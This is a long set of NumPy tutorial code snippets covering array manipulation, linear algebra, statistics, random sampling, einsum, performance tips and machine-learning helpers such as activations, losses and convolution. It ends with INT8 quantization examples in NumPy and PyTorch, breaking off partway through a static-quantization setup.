# Multi-dimensional transpose
tensor = np.random.randn(2, 3, 4)
tensor.transpose(2, 0, 1)  # Move axes: (4, 2, 3)
tensor.transpose()         # Reverse all axes: (4, 3, 2)

# Swapaxes - swap two specific axes
tensor.swapaxes(0, 2)  # Swap first and last: (4, 3, 2)

# moveaxis - more intuitive for single axis moves
tensor_moved = np.moveaxis(tensor, 0, -1)  # Move first axis to last: (3, 4, 2)

arr = np.array([1, 2, 3])

# Add dimensions
arr_col = arr[:, np.newaxis]      # Shape (3, 1)
arr_row = arr[np.newaxis, :]      # Shape (1, 3)
arr_3d = arr[:, np.newaxis, np.newaxis]  # Shape (3, 1, 1)

# Using expand_dims
arr_col = np.expand_dims(arr, axis=1)  # Shape (3, 1)
arr_3d = np.expand_dims(arr, axis=(1, 2))  # Shape (3, 1, 1)

# Remove dimensions - squeeze
arr_squeezed = np.squeeze(arr_col)  # Back to (3,)

# Broadcast to specific shape
arr_broadcast = np.broadcast_to(arr[:, np.newaxis], (3, 5))
# [[1, 1, 1, 1, 1],
#  [2, 2, 2, 2, 2],
#  [3, 3, 3, 3, 3]]

a = np.array([1, 2, 3])
b = np.array([4, 5, 6])

# Vertical stack (along axis 0)
np.vstack([a, b])
# [[1, 2, 3],
#  [4, 5, 6]]

# Horizontal stack (along axis 1)
np.hstack([a, b])
# [1, 2, 3, 4, 5, 6]

# Stack along new axis
np.stack([a, b], axis=0)  # Shape (2, 3)
np.stack([a, b], axis=1)  # Shape (3, 2)

# Concatenate - general stacking
np.concatenate([a, b], axis=0)

# Splitting
arr = np.arange(9)
np.split(arr, 3)  # [array([0, 1, 2]), array([3, 4, 5]), array([6, 7, 8])]
np.array_split(arr, 4)  # Unequal splits allowed

# 2D splitting
matrix = np.random.randn(6, 4)
np.vsplit(matrix, 3)  # Split into 3 horizontal slices
np.hsplit(matrix, 2)  # Split into 2 vertical slices

# Batch flattening for fully connected layer
batch_images = np.random.randn(32, 28, 28, 1)  # 32 MNIST images
flattened = batch_images.reshape(32, -1)        # (32, 784)

# Channel manipulation (NHWC to NCHW)
nhwc = np.random.randn(10, 224, 224, 3)
nchw = nhwc.transpose(0, 3, 1, 2)  # (10, 3, 224, 224)

# Reshape for sequence processing
time_series = np.random.randn(1000, 10)  # 1000 timesteps, 10 features
batched = time_series.reshape(-1, 50, 10)  # 20 sequences of 50 timesteps

# Tile for data augmentation
pattern = np.array([1, 2, 3])
tiled = np.tile(pattern, 5)  # [1, 2, 3, 1, 2, 3, ...]
tiled_2d = np.tile(pattern, (3, 1))  # Repeat as rows

A = np.array([[1, 2], [3, 4]])
B = np.array([[5, 6], [7, 8]])

# Element-wise multiplication (Hadamard product)
A * B
# [[ 5, 12],
#  [21, 32]]

# Matrix multiplication
A @ B  # Python 3.5+ operator
np.dot(A, B)
np.matmul(A, B)
# [[19, 22],
#  [43, 50]]

# 1D arrays - dot product
a = np.array([1, 2, 3])
b = np.array([4, 5, 6])
np.dot(a, b)  # 1*4 + 2*5 + 3*6 = 32

# 2D matrix multiplication
A = np.random.randn(3, 4)
B = np.random.randn(4, 5)
C = A @ B  # Shape (3, 5)

# Batch matrix multiplication
batch_A = np.random.randn(10, 3, 4)
batch_B = np.random.randn(10, 4, 5)
batch_C = batch_A @ batch_B  # Shape (10, 3, 5)

# Outer product
a = np.array([1, 2, 3])
b = np.array([4, 5])
np.outer(a, b)
# [[ 4,  5],
#  [ 8, 10],
#  [12, 15]]

# Inner product (same as dot for 1D)
np.inner(a, b)  # Only if same length

# Kronecker product
np.kron(A, B)  # Tensor product

A = np.array([[1, 2], [3, 4]])

# Trace (sum of diagonal)
np.trace(A)  # 1 + 4 = 5

# Determinant
np.linalg.det(A)  # -2.0

# Rank
np.linalg.matrix_rank(A)  # 2

# Norm
np.linalg.norm(A)           # Frobenius norm (default)
np.linalg.norm(A, 'fro')    # Frobenius norm
np.linalg.norm(A, 2)        # Spectral norm
np.linalg.norm(A, 'nuc')    # Nuclear norm

# Condition number
np.linalg.cond(A)  # Ratio of largest to smallest singular value

# Matrix power
A = np.array([[1, 2], [3, 4]])
np.linalg.matrix_power(A, 3)  # A @ A @ A

# Matrix exponential (important in physics, ODEs)
from scipy.linalg import expm
expm(A)

# Batch operations
batch = np.random.randn(100, 10, 10)
# Batch determinant
dets = np.linalg.det(batch)  # Shape (100,)

# Einsum for complex operations (see Advanced Patterns)
# Batch matrix trace
traces = np.einsum('bii->b', batch)

data = np.random.randn(100, 5)  # 100 samples, 5 features

# Central tendency
np.mean(data)          # Overall mean
np.median(data)        # Median
np.percentile(data, 50)  # Same as median
np.quantile(data, 0.5)   # Same as median

# Spread
np.std(data)           # Standard deviation
np.var(data)           # Variance
np.ptp(data)           # Peak to peak (max - min)

# Extremes
np.min(data)
np.max(data)
np.argmin(data)  # Index of minimum
np.argmax(data)  # Index of maximum

data = np.random.randn(100, 5)

# Along columns (across samples)
feature_means = np.mean(data, axis=0)  # Shape (5,)
feature_stds = np.std(data, axis=0)

# Along rows (across features)
sample_means = np.mean(data, axis=1)   # Shape (100,)

# Keep dimensions for broadcasting
feature_means = np.mean(data, axis=0, keepdims=True)  # Shape (1, 5)
normalized = (data - feature_means) / np.std(data, axis=0, keepdims=True)

# Multiple axes
tensor = np.random.randn(10, 20, 30, 40)
mean_spatial = np.mean(tensor, axis=(1, 2))  # Average over dimensions 1 and 2

# Z-score normalization (standardization)
def standardize(X, axis=0):
    mean = np.mean(X, axis=axis, keepdims=True)
    std = np.std(X, axis=axis, keepdims=True)
    return (X - mean) / (std + 1e-8)

# Min-max normalization
def min_max_normalize(X, axis=0):
    min_val = np.min(X, axis=axis, keepdims=True)
    max_val = np.max(X, axis=axis, keepdims=True)
    return (X - min_val) / (max_val - min_val + 1e-8)

# L2 normalization (unit vectors)
def l2_normalize(X, axis=1):
    norm = np.linalg.norm(X, axis=axis, keepdims=True)
    return X / (norm + 1e-8)

# Batch normalization (simplified)
def batch_norm(X, gamma=1, beta=0, epsilon=1e-8):
    mean = np.mean(X, axis=0, keepdims=True)
    var = np.var(X, axis=0, keepdims=True)
    X_norm = (X - mean) / np.sqrt(var + epsilon)
    return gamma * X_norm + beta

# Whitening (decorrelation)
def whiten(X):
    X_centered = X - np.mean(X, axis=0)
    cov = np.cov(X_centered, rowvar=False)
    U, S, Vt = np.linalg.svd(cov)
    W = U @ np.diag(1.0 / np.sqrt(S + 1e-8)) @ U.T
    return X_centered @ W

# Cumulative operations
arr = np.array([1, 2, 3, 4, 5])
np.cumsum(arr)     # [ 1,  3,  6, 10, 15]
np.cumprod(arr)    # [ 1,  2,  6, 24, 120]

# Correlation and covariance
data = np.random.randn(100, 5)
np.corrcoef(data, rowvar=False)  # Correlation matrix (5, 5)
np.cov(data, rowvar=False)       # Covariance matrix (5, 5)

# Histogram
values, bins = np.histogram(data, bins=10)
values, bins = np.histogram(data, bins='auto')  # Automatic binning

# Percentiles and quantiles
np.percentile(data, [25, 50, 75])  # Quartiles
np.quantile(data, [0.25, 0.5, 0.75])

# Binning
digitized = np.digitize(data, bins=[-1, 0, 1])  # Classify into bins

# Weighted statistics
weights = np.random.rand(100)
np.average(data, weights=weights, axis=0)

# Eigenvalue decomposition
A = np.random.randn(5, 5)
A = A + A.T  # Make symmetric
eigenvalues, eigenvectors = np.linalg.eig(A)

# For symmetric matrices (faster and more stable)
eigenvalues, eigenvectors = np.linalg.eigh(A)

# Singular Value Decomposition (SVD)
M = np.random.randn(10, 5)
U, S, Vt = np.linalg.svd(M, full_matrices=False)
# M ≈ U @ np.diag(S) @ Vt
# U: (10, 5), S: (5,), Vt: (5, 5)

# QR decomposition
Q, R = np.linalg.qr(M)
# M = Q @ R, Q is orthogonal, R is upper triangular

# Cholesky decomposition (for positive definite matrices)
A = np.random.randn(5, 5)
A = A.T @ A  # Make positive definite
L = np.linalg.cholesky(A)
# A = L @ L.T, L is lower triangular

# LU decomposition (requires scipy)
from scipy.linalg import lu
P, L, U = lu(A)

# Solve Ax = b
A = np.array([[3, 1], [1, 2]])
b = np.array([9, 8])
x = np.linalg.solve(A, b)  # x = [2, 3]

# Least squares solution (when system is overdetermined)
# Solve ||Ax - b||^2
A = np.random.randn(100, 5)
b = np.random.randn(100)
x, residuals, rank, s = np.linalg.lstsq(A, b, rcond=None)

# Matrix inverse
A_inv = np.linalg.inv(A)
# But prefer solving instead: x = np.linalg.solve(A, b)
# rather than: x = np.linalg.inv(A) @ b

# Pseudo-inverse (Moore-Penrose)
A = np.random.randn(10, 5)
A_pinv = np.linalg.pinv(A)

# PCA using SVD
def pca(X, n_components):
    # Center the data
    X_centered = X - np.mean(X, axis=0)

    # SVD
    U, S, Vt = np.linalg.svd(X_centered, full_matrices=False)

    # Project onto top components
    components = Vt[:n_components]
    X_pca = X_centered @ components.T

    # Explained variance
    explained_variance = (S ** 2) / (len(X) - 1)
    explained_variance_ratio = explained_variance[:n_components] / explained_variance.sum()

    return X_pca, components, explained_variance_ratio

# Low-rank approximation
M = np.random.randn(100, 50)
U, S, Vt = np.linalg.svd(M, full_matrices=False)
k = 10  # Keep top 10 components
M_approx = U[:, :k] @ np.diag(S[:k]) @ Vt[:k, :]

# Power iteration for top eigenvector
def power_iteration(A, num_iterations=100):
    v = np.random.randn(A.shape[1])
    for _ in range(num_iterations):
        v = A @ v
        v = v / np.linalg.norm(v)
    eigenvalue = v @ A @ v
    return eigenvalue, v

# Create generator with seed
rng = np.random.default_rng(42)

# Uniform distributions
rng.random((3, 4))               # [0, 1)
rng.uniform(0, 10, size=(3, 4))  # [0, 10)
rng.integers(0, 100, size=10)    # [0, 100)

# Normal/Gaussian
rng.normal(loc=0, scale=1, size=(3, 4))
rng.standard_normal((3, 4))  # mean=0, std=1

# Other distributions
rng.exponential(scale=1.0, size=100)
rng.poisson(lam=5, size=100)
rng.binomial(n=10, p=0.5, size=100)
rng.beta(a=2, b=5, size=100)
rng.gamma(shape=2, scale=1, size=100)
rng.multinomial(n=10, pvals=[0.2, 0.3, 0.5], size=20)

rng = np.random.default_rng(42)

# Random choice
data = np.arange(100)
sample = rng.choice(data, size=10, replace=False)  # Without replacement

# Weighted sampling
weights = np.array([0.1, 0.2, 0.3, 0.4])
samples = rng.choice(4, size=1000, p=weights)

# Shuffle
arr = np.arange(10)
rng.shuffle(arr)  # In-place shuffle

# Permutation (returns shuffled copy)
perm = rng.permutation(arr)
perm_indices = rng.permutation(len(arr))

# Random partitioning for train/test split
indices = rng.permutation(len(data))
train_size = int(0.8 * len(data))
train_indices = indices[:train_size]
test_indices = indices[train_size:]

# Global seed (legacy, not recommended)
np.random.seed(42)

# Better: use Generator instances
rng1 = np.random.default_rng(42)
rng2 = np.random.default_rng(42)
# rng1 and rng2 produce identical sequences

# Independent streams
from numpy.random import SeedSequence, Generator, PCG64

ss = SeedSequence(12345)
child_seeds = ss.spawn(10)  # Create 10 independent streams
streams = [Generator(PCG64(s)) for s in child_seeds]

# Each stream is independent
samples = [stream.random(100) for stream in streams]

# Save and restore state
state = rng.bit_generator.state
# ... later ...
rng.bit_generator.state = state  # Restore exact state

rng = np.random.default_rng(42)

def init_weights(shape, method='xavier', rng=None):
    if rng is None:
        rng = np.random.default_rng()

    n_in, n_out = shape

    if method == 'xavier' or method == 'glorot':
        # Xavier/Glorot initialization (for tanh, sigmoid)
        limit = np.sqrt(6 / (n_in + n_out))
        return rng.uniform(-limit, limit, shape)

    elif method == 'he':
        # He initialization (for ReLU)
        std = np.sqrt(2 / n_in)
        return rng.normal(0, std, shape)

    elif method == 'lecun':
        # LeCun initialization
        std = np.sqrt(1 / n_in)
        return rng.normal(0, std, shape)

    elif method == 'orthogonal':
        # Orthogonal initialization
        flat_shape = (n_in, n_out)
        a = rng.normal(0, 1, flat_shape)
        u, _, v = np.linalg.svd(a, full_matrices=False)
        q = u if u.shape == flat_shape else v
        return q

    else:
        return rng.normal(0, 0.01, shape)

# Dropout mask
def dropout_mask(shape, p=0.5, rng=None):
    if rng is None:
        rng = np.random.default_rng()
    mask = rng.random(shape) > p
    return mask / (1 - p)  # Inverted dropout

# Data augmentation noise
def add_gaussian_noise(X, std=0.1, rng=None):
    if rng is None:
        rng = np.random.default_rng()
    noise = rng.normal(0, std, X.shape)
    return X + noise

# Basics
a = np.arange(6).reshape(2, 3)
b = np.arange(12).reshape(3, 4)

# Matrix multiplication: C[i,k] = sum_j A[i,j] * B[j,k]
c = np.einsum('ij,jk->ik', a, b)
# Same as: a @ b

# Trace: sum_i A[i,i]
A = np.random.randn(5, 5)
trace = np.einsum('ii->', A)
# Same as: np.trace(A)

# Diagonal: D[i] = A[i,i]
diag = np.einsum('ii->i', A)
# Same as: np.diag(A)

# Transpose: B[j,i] = A[i,j]
b = np.einsum('ij->ji', a)
# Same as: a.T

# Batch matrix multiplication
batch_a = np.random.randn(10, 3, 4)
batch_b = np.random.randn(10, 4, 5)
batch_c = np.einsum('bij,bjk->bik', batch_a, batch_b)
# Same as: batch_a @ batch_b

# Dot product: sum_i a[i] * b[i]
a = np.array([1, 2, 3])
b = np.array([4, 5, 6])
dot = np.einsum('i,i->', a, b)
# Same as: np.dot(a, b)

# Outer product: C[i,j] = a[i] * b[j]
outer = np.einsum('i,j->ij', a, b)
# Same as: np.outer(a, b)

# Element-wise multiplication and sum: sum_ij A[i,j] * B[i,j]
A = np.random.randn(3, 4)
B = np.random.randn(3, 4)
result = np.einsum('ij,ij->', A, B)
# Same as: np.sum(A * B)

# Attention mechanism
Q = np.random.randn(10, 8, 64)  # batch, query_len, dim
K = np.random.randn(10, 12, 64)  # batch, key_len, dim
V = np.random.randn(10, 12, 64)  # batch, value_len, dim

# Compute attention scores: scores[b,i,j] = sum_d Q[b,i,d] * K[b,j,d]
scores = np.einsum('bid,bjd->bij', Q, K) / np.sqrt(64)

# Apply attention to values: output[b,i,d] = sum_j scores[b,i,j] * V[b,j,d]
attention_weights = softmax(scores, axis=-1)
output = np.einsum('bij,bjd->bid', attention_weights, V)

# Bilinear operation: y[b] = sum_ij x1[b,i] * W[i,j] * x2[b,j]
x1 = np.random.randn(32, 10)
x2 = np.random.randn(32, 20)
W = np.random.randn(10, 20)
y = np.einsum('bi,ij,bj->b', x1, W, x2)

# Batch trace
batch = np.random.randn(100, 5, 5)
traces = np.einsum('bii->b', batch)

# Frobenius norm squared
frob_sq = np.einsum('ij,ij->', A, A)

# Create custom ufunc
def relu_scalar(x):
    return max(0, x)

relu = np.frompyfunc(relu_scalar, 1, 1)  # 1 input, 1 output
# Note: This is for educational purposes; use np.maximum(x, 0) in practice

# Accumulate methods
arr = np.array([1, 2, 3, 4, 5])
np.add.accumulate(arr)     # [1, 3, 6, 10, 15] - cumsum
np.multiply.accumulate(arr) # [1, 2, 6, 24, 120] - cumprod

# Reduce methods
np.add.reduce(arr)         # 15 - sum
np.multiply.reduce(arr)    # 120 - product
np.maximum.reduce(arr)     # 5 - max

# Outer methods
np.add.outer(arr[:3], arr[:3])
# [[2, 3, 4],
#  [3, 4, 5],
#  [4, 5, 6]]

# At method (in-place operations at indices)
arr = np.array([1, 2, 3, 4, 5])
np.add.at(arr, [0, 2, 4], 10)  # arr: [11, 2, 13, 4, 15]

# View vs copy
arr = np.arange(10)
view = arr[::2]        # View - no data copied
copy = arr[::2].copy() # Explicit copy

view[0] = 999
# arr is modified!

copy[0] = 999
# arr is unchanged

# Check if it's a view
view.base is arr  # True
copy.base is None  # True

# Some operations return views
arr.reshape(2, 5)  # View (if possible)
arr.T              # View
arr[::2]           # View

# Some operations return copies
arr.flatten()      # Copy
arr + 1            # Copy
arr[[0, 2, 4]]     # Copy (fancy indexing)

# Avoid copies with out parameter
arr = np.random.randn(1000)
result = np.empty_like(arr)
np.sin(arr, out=result)  # Compute in-place, no extra memory

# Compound operations
arr = np.random.randn(1000)
arr += 1  # In-place, no copy
arr *= 2  # In-place, no copy
# vs
arr = arr + 1  # Creates new array

# Multi-dimensional boolean indexing
data = np.random.randn(10, 5)
mask = data > 0
positive_values = data[mask]  # 1D array of positive values

# Keep structure with np.where
data_clipped = np.where(data > 0, data, 0)  # ReLU

# np.where with conditions
condition = data > 0.5
result = np.where(condition, data * 2, data / 2)

# np.select for multiple conditions
conditions = [
    data < -1,
    (data >= -1) & (data < 0),
    (data >= 0) & (data < 1),
    data >= 1
]
choices = [-1, 0, 0, 1]
result = np.select(conditions, choices, default=0)

# np.choose (limited to small number of choices)
indices = np.array([0, 1, 2, 1, 0])
choices = np.array([[1, 2, 3, 4, 5],
                    [10, 20, 30, 40, 50],
                    [100, 200, 300, 400, 500]])
result = np.choose(indices, choices)  # [1, 20, 300, 40, 5]

# Advanced batch indexing
batch = np.random.randn(32, 10)
indices = np.array([3, 1, 5, ...])  # 32 indices
selected = batch[np.arange(32), indices]  # 32 values

# Meshgrid for pairwise operations
x = np.array([1, 2, 3])
y = np.array([10, 20])
X, Y = np.meshgrid(x, y, indexing='ij')
# X: [[1, 1],    Y: [[10, 20],
#      [2, 2],        [10, 20],
#      [3, 3]]        [10, 20]]

# C-order (row-major) vs Fortran-order (column-major)
arr_c = np.array([[1, 2], [3, 4]], order='C')  # Default
arr_f = np.array([[1, 2], [3, 4]], order='F')

# Check memory order
arr_c.flags['C_CONTIGUOUS']  # True
arr_f.flags['F_CONTIGUOUS']  # True

# Performance implication
# Iterating over rows is faster for C-order
# Iterating over columns is faster for F-order

# Use appropriate order for your access pattern
matrix_c = np.random.randn(1000, 1000, order='C')
matrix_f = np.random.randn(1000, 1000, order='F')

# Row-wise operations faster on C-order
row_sums_c = matrix_c.sum(axis=1)  # Fast

# Column-wise operations faster on F-order
col_sums_f = matrix_f.sum(axis=0)  # Fast

# Avoid creating intermediate arrays
arr = np.random.randn(1000000)

# Bad - creates temporary arrays
result = (arr + 1) * 2 - 3

# Better - use in-place operations
arr += 1
arr *= 2
arr -= 3

# Use out parameter
arr = np.random.randn(1000)
result = np.empty_like(arr)
np.add(arr, 1, out=result)
np.multiply(result, 2, out=result)
np.subtract(result, 3, out=result)

# Compound operations
np.add(arr, 1, out=arr)  # Reuse input array

# Slicing creates views (usually)
arr = np.arange(100)
view = arr[10:20]  # No copy

# Advanced indexing creates copies
copy = arr[[1, 5, 10]]  # Copy created

# Reshaping returns view if possible
view = arr.reshape(10, 10)  # View
copy = arr.reshape(10, 10, order='F')  # Copy (change order)

# Check if operation creates copy
original = np.arange(12)
reshaped = original.reshape(3, 4)
reshaped.base is original  # True - it's a view

# Explicit copy when needed
independent = arr.copy()

# Profile your code
import time

# Slow - Python loop
arr = np.random.randn(1000000)
start = time.time()
result = np.zeros_like(arr)
for i in range(len(arr)):
    result[i] = arr[i] ** 2 if arr[i] > 0 else 0
print(f"Loop: {time.time() - start:.4f}s")

# Fast - vectorized
start = time.time()
result = np.where(arr > 0, arr ** 2, 0)
print(f"Vectorized: {time.time() - start:.4f}s")
# Typically 50-100x faster

# Use specialized functions
# Bad
result = np.sqrt(np.sum(arr ** 2))
# Good
result = np.linalg.norm(arr)  # Optimized implementation

# Generator expressions for large data
def process_batches(data, batch_size):
    n_batches = len(data) // batch_size
    for i in range(n_batches):
        yield data[i*batch_size:(i+1)*batch_size]

# Memory-mapped arrays for huge datasets
mmap = np.memmap('large_file.dat', dtype='float32', mode='r', shape=(1000000, 1000))
# Only loads data into memory when accessed

# Delete intermediate results
large_array = np.random.randn(10000, 10000)
result = np.sum(large_array, axis=0)
del large_array  # Free memory

# Use smaller dtypes when possible
arr_64 = np.random.randn(1000000).astype(np.float64)  # 8 MB
arr_32 = np.random.randn(1000000).astype(np.float32)  # 4 MB
arr_16 = np.random.randn(1000000).astype(np.float16)  # 2 MB

from numba import jit, prange

# Accelerate with JIT compilation
@jit(nopython=True)
def compute_pairwise_distances(X):
    n = X.shape[0]
    distances = np.zeros((n, n))
    for i in range(n):
        for j in range(i+1, n):
            d = 0.0
            for k in range(X.shape[1]):
                d += (X[i, k] - X[j, k]) ** 2
            distances[i, j] = np.sqrt(d)
            distances[j, i] = distances[i, j]
    return distances

# Parallel execution
@jit(nopython=True, parallel=True)
def parallel_sum_squares(arr):
    result = 0.0
    for i in prange(len(arr)):
        result += arr[i] ** 2
    return result

# Method 1: Using np.eye
labels = np.array([0, 2, 1, 0, 3])
n_classes = 4
one_hot = np.eye(n_classes)[labels]
# [[1, 0, 0, 0],
#  [0, 0, 1, 0],
#  [0, 1, 0, 0],
#  [1, 0, 0, 0],
#  [0, 0, 0, 1]]

# Method 2: Manual
def one_hot_encode(labels, n_classes):
    one_hot = np.zeros((len(labels), n_classes))
    one_hot[np.arange(len(labels)), labels] = 1
    return one_hot

# Reverse: one-hot to labels
labels_recovered = np.argmax(one_hot, axis=1)

def train_test_split(X, y, test_size=0.2, random_state=None):
    rng = np.random.default_rng(random_state)
    n = len(X)
    indices = rng.permutation(n)

    split_idx = int(n * (1 - test_size))
    train_idx, test_idx = indices[:split_idx], indices[split_idx:]

    return X[train_idx], X[test_idx], y[train_idx], y[test_idx]

# K-fold cross-validation indices
def k_fold_indices(n, k=5, shuffle=True, random_state=None):
    indices = np.arange(n)
    if shuffle:
        rng = np.random.default_rng(random_state)
        rng.shuffle(indices)

    fold_size = n // k
    for i in range(k):
        test_idx = indices[i*fold_size:(i+1)*fold_size]
        train_idx = np.concatenate([indices[:i*fold_size],
                                    indices[(i+1)*fold_size:]])
        yield train_idx, test_idx

def generate_batches(X, y, batch_size, shuffle=True, random_state=None):
    """Generator for mini-batches"""
    n = len(X)
    rng = np.random.default_rng(random_state)

    if shuffle:
        indices = rng.permutation(n)
        X, y = X[indices], y[indices]

    n_batches = n // batch_size
    for i in range(n_batches):
        start = i * batch_size
        end = start + batch_size
        yield X[start:end], y[start:end]

    # Last batch (if incomplete)
    if n % batch_size != 0:
        yield X[n_batches*batch_size:], y[n_batches*batch_size:]

# Usage
for X_batch, y_batch in generate_batches(X_train, y_train, batch_size=32):
    # Train on batch
    pass

# Euclidean distance matrix (vectorized)
def euclidean_distances(X, Y=None):
    """
    Compute pairwise Euclidean distances
    If Y is None, compute distances within X
    """
    if Y is None:
        Y = X

    # ||x - y||^2 = ||x||^2 + ||y||^2 - 2*x·y
    X_norm = np.sum(X ** 2, axis=1, keepdims=True)  # (n, 1)
    Y_norm = np.sum(Y ** 2, axis=1, keepdims=True).T  # (1, m)
    distances = X_norm + Y_norm - 2 * X @ Y.T

    # Handle numerical errors
    distances = np.maximum(distances, 0)
    return np.sqrt(distances)

# Cosine similarity
def cosine_similarity(X, Y=None):
    if Y is None:
        Y = X

    X_norm = X / np.linalg.norm(X, axis=1, keepdims=True)
    Y_norm = Y / np.linalg.norm(Y, axis=1, keepdims=True)
    return X_norm @ Y_norm.T

# Manhattan distance
def manhattan_distances(X, Y=None):
    if Y is None:
        Y = X
    return np.sum(np.abs(X[:, np.newaxis] - Y[np.newaxis, :]), axis=2)

# ReLU
def relu(x):
    return np.maximum(0, x)

def relu_derivative(x):
    return (x > 0).astype(float)

# Leaky ReLU
def leaky_relu(x, alpha=0.01):
    return np.where(x > 0, x, alpha * x)

# Sigmoid
def sigmoid(x):
    # Numerically stable
    return np.where(x >= 0,
                    1 / (1 + np.exp(-x)),
                    np.exp(x) / (1 + np.exp(x)))

def sigmoid_derivative(x):
    s = sigmoid(x)
    return s * (1 - s)

# Tanh
def tanh(x):
    return np.tanh(x)

def tanh_derivative(x):
    return 1 - np.tanh(x) ** 2

# Softmax (numerically stable)
def softmax(x, axis=-1):
    x_max = np.max(x, axis=axis, keepdims=True)
    exp_x = np.exp(x - x_max)
    return exp_x / np.sum(exp_x, axis=axis, keepdims=True)

# Mean Squared Error
def mse(y_true, y_pred):
    return np.mean((y_true - y_pred) ** 2)

def mse_derivative(y_true, y_pred):
    return 2 * (y_pred - y_true) / len(y_true)

# Cross-entropy (numerically stable)
def cross_entropy(y_true, y_pred, epsilon=1e-15):
    # Clip predictions to prevent log(0)
    y_pred = np.clip(y_pred, epsilon, 1 - epsilon)
    return -np.mean(y_true * np.log(y_pred))

# Binary cross-entropy
def binary_cross_entropy(y_true, y_pred, epsilon=1e-15):
    y_pred = np.clip(y_pred, epsilon, 1 - epsilon)
    return -np.mean(y_true * np.log(y_pred) + (1 - y_true) * np.log(1 - y_pred))

# Categorical cross-entropy
def categorical_cross_entropy(y_true, y_pred, epsilon=1e-15):
    y_pred = np.clip(y_pred, epsilon, 1 - epsilon)
    return -np.sum(y_true * np.log(y_pred)) / len(y_true)

# Hinge loss (SVM)
def hinge_loss(y_true, y_pred):
    return np.mean(np.maximum(0, 1 - y_true * y_pred))

# 1D convolution (simple implementation)
def conv1d(x, kernel, stride=1, padding=0):
    if padding > 0:
        x = np.pad(x, padding, mode='constant')

    n = len(x)
    k = len(kernel)
    output_size = (n - k) // stride + 1
    output = np.zeros(output_size)

    for i in range(output_size):
        start = i * stride
        output[i] = np.sum(x[start:start+k] * kernel)

    return output

# 2D convolution (simple, unoptimized)
def conv2d(image, kernel, stride=1, padding=0):
    if padding > 0:
        image = np.pad(image, padding, mode='constant')

    h, w = image.shape
    kh, kw = kernel.shape

    out_h = (h - kh) // stride + 1
    out_w = (w - kw) // stride + 1
    output = np.zeros((out_h, out_w))

    for i in range(out_h):
        for j in range(out_w):
            r, c = i * stride, j * stride
            output[i, j] = np.sum(image[r:r+kh, c:c+kw] * kernel)

    return output

# Pooling operations
def max_pool2d(x, pool_size=2, stride=2):
    h, w = x.shape
    out_h = (h - pool_size) // stride + 1
    out_w = (w - pool_size) // stride + 1
    output = np.zeros((out_h, out_w))

    for i in range(out_h):
        for j in range(out_w):
            r, c = i * stride, j * stride
            output[i, j] = np.max(x[r:r+pool_size, c:c+pool_size])

    return output

def avg_pool2d(x, pool_size=2, stride=2):
    h, w = x.shape
    out_h = (h - pool_size) // stride + 1
    out_w = (w - pool_size) // stride + 1
    output = np.zeros((out_h, out_w))

    for i in range(out_h):
        for j in range(out_w):
            r, c = i * stride, j * stride
            output[i, j] = np.mean(x[r:r+pool_size, c:c+pool_size])

    return output

def numerical_gradient(f, x, epsilon=1e-5):
    """
    Compute numerical gradient using finite differences
    Useful for debugging backpropagation
    """
    grad = np.zeros_like(x)
    it = np.nditer(x, flags=['multi_index'], op_flags=['readwrite'])

    while not it.finished:
        idx = it.multi_index
        old_value = x[idx]

        x[idx] = old_value + epsilon
        fx_plus = f(x)

        x[idx] = old_value - epsilon
        fx_minus = f(x)

        grad[idx] = (fx_plus - fx_minus) / (2 * epsilon)
        x[idx] = old_value
        it.iternext()

    return grad

def gradient_check(f, x, analytic_grad, epsilon=1e-5):
    """Check if analytic gradient is correct"""
    numerical_grad = numerical_gradient(f, x, epsilon)

    # Relative error
    numerator = np.linalg.norm(numerical_grad - analytic_grad)
    denominator = np.linalg.norm(numerical_grad) + np.linalg.norm(analytic_grad)
    rel_error = numerator / (denominator + 1e-8)

    print(f"Relative error: {rel_error}")
    return rel_error < 1e-5  # Threshold for "correct"

# Image augmentation primitives
def random_flip(image, horizontal=True, p=0.5, rng=None):
    if rng is None:
        rng = np.random.default_rng()
    if rng.random() < p:
        axis = 1 if horizontal else 0
        return np.flip(image, axis=axis)
    return image

def random_rotation_90(image, p=0.5, rng=None):
    if rng is None:
        rng = np.random.default_rng()
    if rng.random() < p:
        k = rng.integers(1, 4)  # 90, 180, or 270 degrees
        return np.rot90(image, k=k)
    return image

def random_crop(image, crop_size, rng=None):
    if rng is None:
        rng = np.random.default_rng()
    h, w = image.shape[:2]
    ch, cw = crop_size

    top = rng.integers(0, h - ch + 1)
    left = rng.integers(0, w - cw + 1)

    return image[top:top+ch, left:left+cw]

def normalize_image(image, mean, std):
    """Normalize image with mean and std per channel"""
    return (image - mean) / std

Quantization: q = round(x / scale) + zero_point
Dequantization: x_approx = (q - zero_point) * scale

scale = max(|x_max|, |x_min|) / (2^(b-1) - 1)
q = round(x / scale)

import numpy as np

def symmetric_quantize(x, num_bits=8):
    """Symmetric quantization"""
    qmax = 2**(num_bits - 1) - 1  # 127 for INT8
    scale = np.max(np.abs(x)) / qmax
    q = np.round(x / scale).astype(np.int8)
    return q, scale

# Example
x = np.array([1.5, -2.3, 0.5, 3.1])
q, scale = symmetric_quantize(x)
print(f"Original: {x}")
print(f"Quantized: {q}")
print(f"Scale: {scale}")

# Dequantize
x_dequant = q * scale
print(f"Dequantized: {x_dequant}")
print(f"Error: {np.abs(x - x_dequant)}")

scale = (x_max - x_min) / (2^b - 1)
zero_point = round(-x_min / scale)
q = round(x / scale) + zero_point

def asymmetric_quantize(x, num_bits=8):
    """Asymmetric quantization"""
    qmin = 0
    qmax = 2**num_bits - 1  # 255 for UINT8

    x_min, x_max = x.min(), x.max()
    scale = (x_max - x_min) / (qmax - qmin)
    zero_point = qmin - round(x_min / scale)

    q = np.round(x / scale + zero_point)
    q = np.clip(q, qmin, qmax).astype(np.uint8)

    return q, scale, zero_point

# Example with positive-only activations (ReLU output)
x = np.array([0.2, 1.5, 0.8, 3.1])
q, scale, zp = asymmetric_quantize(x)
print(f"Original: {x}")
print(f"Quantized: {q}")
print(f"Scale: {scale}, Zero-point: {zp}")

# Dequantize
x_dequant = (q - zp) * scale
print(f"Dequantized: {x_dequant}")

import torch
import torch.quantization

# Original model
model = MyTransformer()
model.eval()

# Dynamic quantization
quantized_model = torch.quantization.quantize_dynamic(
    model,
    {torch.nn.Linear, torch.nn.LSTM},  # Layers to quantize
    dtype=torch.qint8
)

# Inference
with torch.no_grad():
    output = quantized_model(input_tensor)

# Check size reduction
original_size = sum(p.numel() * p.element_size() for p in model.parameters())
quantized_size = sum(p.numel() * p.element_size() for p in quantized_model.parameters())
print(f"Size reduction: {original_size / quantized_size:.2f}×")

import torch
import torch.quantization

# Prepare model for quantization
model = MyConvNet()
model.eval()

# Specify quantization configuration
